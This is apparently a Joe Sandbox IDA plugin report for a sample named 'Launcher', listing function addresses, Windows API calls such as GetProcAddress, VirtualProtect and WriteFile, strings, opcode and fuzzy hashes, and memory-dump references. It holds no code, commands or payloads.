Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b27c1ba6db2e6909767ebd203e83f2f4dd9b87d3c24d19c8155fbf43ee614872
Instruction ID: 80c338d524db39d2504b356f4e41f8ddee5b8a6cd33065287b91584b76583173
Opcode Fuzzy Hash: b27c1ba6db2e6909767ebd203e83f2f4dd9b87d3c24d19c8155fbf43ee614872
Instruction Fuzzy Hash: 7F21EB35A01235F7D7229B61FC41B5E7759EB42760F260210FA25A72A0D734EE50C6E0

Function 00101DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00101E6E
VirtualProtect.KERNELBASE ref: 00101EC3

Strings

VirtualProtect, xrefs: 00101E61
@, xrefs: 00101EB7

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: AddressProcProtectVirtual
String ID: @$VirtualProtect
API String ID: 3759838892-29487290
Opcode ID: 9a9a3238ce453072c4eb89436aa058147efc290405057340fb49e78438a42a15
Instruction ID: e53bfc3459335220dd8390da14668d77f3fe0cc4da7cd0e9a7a13833c1ad7f18
Opcode Fuzzy Hash: 9a9a3238ce453072c4eb89436aa058147efc290405057340fb49e78438a42a15
Instruction Fuzzy Hash: 8641C4B4900209EFDB04DFA9E59869EBBF0FF48314F108419E858AB391D779A984CF91

Function 0011BE33 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0011BD40,?,0011BEF5,00000000,?,?,0011BD40,580AF776,?,0011BD40), ref: 0011BE44
TerminateProcess.KERNEL32(00000000,?,0011BEF5,00000000,?,?,0011BD40,580AF776,?,0011BD40), ref: 0011BE4B
ExitProcess.KERNEL32 ref: 0011BE5D

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0459ac41538d3ce61e551629f281309828ffc9e4ee2737fbcd939a9959619d4c
Instruction ID: 3acc5ea57a067f5469d8e5e056d23ff9aca2a027771e1dd6f1c402eb31c03c14
Opcode Fuzzy Hash: 0459ac41538d3ce61e551629f281309828ffc9e4ee2737fbcd939a9959619d4c
Instruction Fuzzy Hash: 2ED09235004209BFCF093FA1EC4E8ED3FAAEF55791B544024BA098A431DB32D9D29A80

Function 00129EB4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0012A25E: GetConsoleOutputCP.KERNEL32(580AF776,00000000,00000000,?), ref: 0012A2C1

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,0011A3D2,?,0011A634), ref: 0012A039
GetLastError.KERNEL32(?,0011A3D2,?,0011A634,?,0011A634,?,?,?,?,?,?,?,00000000,?,?), ref: 0012A043

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 50b59deb6814529581b98e75ecdb5589f0d2c31e0c15b43f076b6d7e8332fcb8
Instruction ID: 737ece32c605cd65725326b9fe76ea72912c85486fc40999e718fb00285c99ec
Opcode Fuzzy Hash: 50b59deb6814529581b98e75ecdb5589f0d2c31e0c15b43f076b6d7e8332fcb8
Instruction Fuzzy Hash: 6261D471C00129AFDF15DFA8E984AEEBFB9BF09304F550145F804A7256D332D961CBA5

Function 0012A68D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,0012A01F,?,0011A634,?,?,?,00000000), ref: 0012A729
GetLastError.KERNEL32(?,0012A01F,?,0011A634,?,?,?,00000000,?,?,?,?,?,0011A3D2,?,0011A634), ref: 0012A74F

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 9c8e2bd2a328c611ff4a6a15fb225825062fe4aee3c022f890966241f4636ad2
Instruction ID: ba5d03c7e2cc8acf781cb8426100f4aa386f99df49ed958d3f975e310e195128
Opcode Fuzzy Hash: 9c8e2bd2a328c611ff4a6a15fb225825062fe4aee3c022f890966241f4636ad2
Instruction Fuzzy Hash: 8E21B134A00229DFCF19CF29EC909EDB7B9EF59305F5440AAE946D7211D7309E82CB65

Function 00123D52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00123C41,00144200,0000000C), ref: 00123D9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00123C41,00144200,0000000C), ref: 00123DB0

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a70e962d8842130065ed8f13968b0c916007e60b981aa60579e9d736c5a72511
Instruction ID: 55eebc8ebce4d74632ec07d18bc517284840fa52a70a70280ff0f98bcbfcd808
Opcode Fuzzy Hash: a70e962d8842130065ed8f13968b0c916007e60b981aa60579e9d736c5a72511
Instruction Fuzzy Hash: 3111E9352047694BC7344E7EECCC622BAA5B757330BB80719D0BA875F1C738DAA6D240

Function 00102010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00102038
GetModuleFileNameW.KERNEL32 ref: 00102058

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Module$FileHandleName
String ID:
API String ID: 4146042529-0
Opcode ID: 0c2af228648ffc7c598ab03d57e112d63f06786660e62771ccf6745de9d6fd97
Instruction ID: 1e34151d5bf8ed860ebac4e9be152d01e8866981d90ebf628f45606ab2c7b4a4
Opcode Fuzzy Hash: 0c2af228648ffc7c598ab03d57e112d63f06786660e62771ccf6745de9d6fd97
Instruction Fuzzy Hash: 0E0116B09042089FCB15EF68E58929DBBF8EB08304F4045ADE88993251EB749A988F52

Function 00122277 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00126574,?,00000000,?,?,00126214,?,00000007,?,?,00126B5A,?,?), ref: 0012228D
GetLastError.KERNEL32(?,?,00126574,?,00000000,?,?,00126214,?,00000007,?,?,00126B5A,?,?), ref: 00122298

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3262e55850801c5171f5273c6dabac0918fe69dd4e0c115030a28f94572aff5f
Instruction ID: 92135ac91439f40b254fd71b84aae126dd07e5d5740ee38eb51875e4d46540ef
Opcode Fuzzy Hash: 3262e55850801c5171f5273c6dabac0918fe69dd4e0c115030a28f94572aff5f
Instruction Fuzzy Hash: 7DE0C236100218BBCB112FA4FC09B8D3BE8EB21752F144020F6088A874CF3688E0CBD0

Function 001014C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 0010150B

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: af7a7e282e55c6396634bdc78b9e1a4080aca369994c9fd446bd3d105a367f3f
Instruction ID: 8ba6ca3cfec92eed9d0fc72bd64f8c7588ed8539e3dfccabdc242b4b7264f197
Opcode Fuzzy Hash: af7a7e282e55c6396634bdc78b9e1a4080aca369994c9fd446bd3d105a367f3f
Instruction Fuzzy Hash: 19D126B4604B409FC728DF28C585A66BBE0BF59714B048A1DE8D78BBA1D7B9F904CB41

Function 00114C70 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6902808ded38bd9752c08413f560e6b982a311ff9fae6e0aeaa1fb78e3146f88
Instruction ID: c7196d3f37f9f1ef2d840f62a955a7e7aff579ebc977a48f3df2ea5c5c6c44a5
Opcode Fuzzy Hash: 6902808ded38bd9752c08413f560e6b982a311ff9fae6e0aeaa1fb78e3146f88
Instruction Fuzzy Hash: 6D418C75A0011AAFCF18DFA8D4909FDB7B9FF19314B540179E546E7650EB30E981CB90

Function 00113390 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001132F7: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,001132BA,?,?,0011328B,?), ref: 00113303

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,580AF776,?,?,?,00132EC9,000000FF), ref: 001133F7

Part of subcall function 00108540: std::_Throw_Cpp_error.LIBCPMT ref: 0010856C
Part of subcall function 00108540: std::_Throw_Cpp_error.LIBCPMT ref: 00108588

Part of subcall function 00115CE2: ReleaseSRWLockExclusive.KERNEL32(?,?,?,00108609,?,0010E873), ref: 00115CF7

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: 888830d026e5b845e897a96be3e15cfea27b6697e60c5e262154dceb1bc91ec9
Instruction ID: f6f39a167b7afb77d02e799e9622c35b9257f8b03e8970db8a4337b439a3defd
Opcode Fuzzy Hash: 888830d026e5b845e897a96be3e15cfea27b6697e60c5e262154dceb1bc91ec9
Instruction Fuzzy Hash: 0A112736604611ABCB2D7B69DC46FAE7769FB52B60F10403AF42197AE0CF34D9C0CA52

Function 001232CD Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 574cc9d52d67ef56d43bc01ff1b30c0ef5d267900cce674d4269e56f134503a9
Instruction ID: bd2a39f71a0b24fb1b95677473e71b9130c274523aae00d9f0874cd4e1b15f23
Opcode Fuzzy Hash: 574cc9d52d67ef56d43bc01ff1b30c0ef5d267900cce674d4269e56f134503a9
Instruction Fuzzy Hash: CE01F53B3102259B9B0ACF68FC8195A77A6FB827243254025FA2087569DF349A608791

Function 00102210 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00102251

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 78e01fa59bbe631c403c8f064ab0789705ac7178f7183182a03c44d4d43c86cb
Instruction ID: ea907a385652ef6294337acca72dc59a2c9ab73a64b26cf00ce6f1fdcd8b6c10
Opcode Fuzzy Hash: 78e01fa59bbe631c403c8f064ab0789705ac7178f7183182a03c44d4d43c86cb
Instruction Fuzzy Hash: 8E11FBB5A00208DFDB04DFA8D959BDEBBF4FB48714F008129E815AB3A0D7799944CFA5

Function 001235B4 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,0012274F,00000001,00000364,00000006,000000FF,?,00000000,?,0011A1F5,00000000,?), ref: 001235F5

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9c785fa1a6c181a95d5f7808622cb529a800131be08e17ef0edf41e78de94a43
Instruction ID: 4778888884713aff81fd5baca8b0bba2a2a4fe22224c10a9db626eb372e765f3
Opcode Fuzzy Hash: 9c785fa1a6c181a95d5f7808622cb529a800131be08e17ef0edf41e78de94a43
Instruction Fuzzy Hash: 6AF02435200530769B251B22BC02B9B7B9CAF41B60B158121F828DA290CB38DF6186E0

Function 001222B1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00124235,?,?,00124235,00000220,?,?,?), ref: 001222E3

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e88c07e4d4c13c821c60cbca679160b945e5a5df6d5a8db27a9696ea2f335901
Instruction ID: 44525525efda974108673fd03702e0be0902381dddd1f9d24d010e1c9d43e5d4
Opcode Fuzzy Hash: e88c07e4d4c13c821c60cbca679160b945e5a5df6d5a8db27a9696ea2f335901
Instruction Fuzzy Hash: DDE06D35201631F7EA256AA5FC00F9F7A88AF62BA1F160120FC0496594DF36ECA092E4

Function 0010F670 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0010F691

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 343c8fb0de40474e11ce18178fb4d64947a42f060afad1f7cc9bfccbdbc27d6c
Instruction ID: a73e9527ff75e6cc873a200cd2b7edac99188173f46cc2170ce50021f0317749
Opcode Fuzzy Hash: 343c8fb0de40474e11ce18178fb4d64947a42f060afad1f7cc9bfccbdbc27d6c
Instruction Fuzzy Hash: D9F0F874D04208DFCB18EFA8C5514ADB7B4BF58300F1040A9E896A73A1DB759E41CB51

Function 00108E40 Relevance: 1.5, APIs: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00108E61

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 59ad82e502860b876c65c5dbdad148bb11d5bd6a56d20df6f2e7e98ad7a992d1
Instruction ID: ec2aca98088738c0a929d682bddca62c7426c7c15fd12bb420b6dcc68d199de5
Opcode Fuzzy Hash: 59ad82e502860b876c65c5dbdad148bb11d5bd6a56d20df6f2e7e98ad7a992d1
Instruction Fuzzy Hash: 66F01C74D04208DFCB08EFA8C5514ADB7B0BF58310F1044A9D896A7391DB70AF40CB51

Non-executed Functions

Function 0012DFE2 Relevance: 12.0, APIs: 1, Strings: 5, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0012E1F9

Strings

MZx, xrefs: 0012E1BA, 0012E262, 0012E604
1#IND, xrefs: 0012E0E7
1#SNAN, xrefs: 0012E0EE
1#QNAN, xrefs: 0012E0F5
1#INF, xrefs: 0012E118

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

Associated: 00000000.00000002.1217903737.0000000000100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217953085.0000000000134000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217978638.0000000000145000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1217997537.0000000000146000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218017364.000000000014A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1218037601.000000000014E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100000_Launcher.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN$MZx
API String ID: 4168288129-2638907429
Opcode ID: 7e44168123fbebc67aa16f136bd9e37b4fca64e91bb92b03c48449c354b1613b
Instruction ID: 24d1600e4c677ba5757bc3644faccd560b893f437a70846ef47f5c5ade1e75c3
Opcode Fuzzy Hash: 7e44168123fbebc67aa16f136bd9e37b4fca64e91bb92b03c48449c354b1613b
Instruction Fuzzy Hash: 31D23972E082298FDB68CE28ED407EAB7F5EB55304F1541EAD40DE7240E778AE918F41

Function 00127CC7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0012767D,00000002,00000000,?,?,?,0012767D,?,00000000), ref: 00127D60
GetLocaleInfoW.KERNEL32(?,20001004,0012767D,00000002,00000000,?,?,?,0012767D,?,00000000), ref: 00127D89
GetACP.KERNEL32(?,?,0012767D,?,00000000), ref: 00127D9E

Strings

OCP, xrefs: 00127D1B
ACP, xrefs: 00127CE5

Memory Dump Source

Source File: 00000000.00000002.1217921619.0000000000101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00100000, based on PE: true

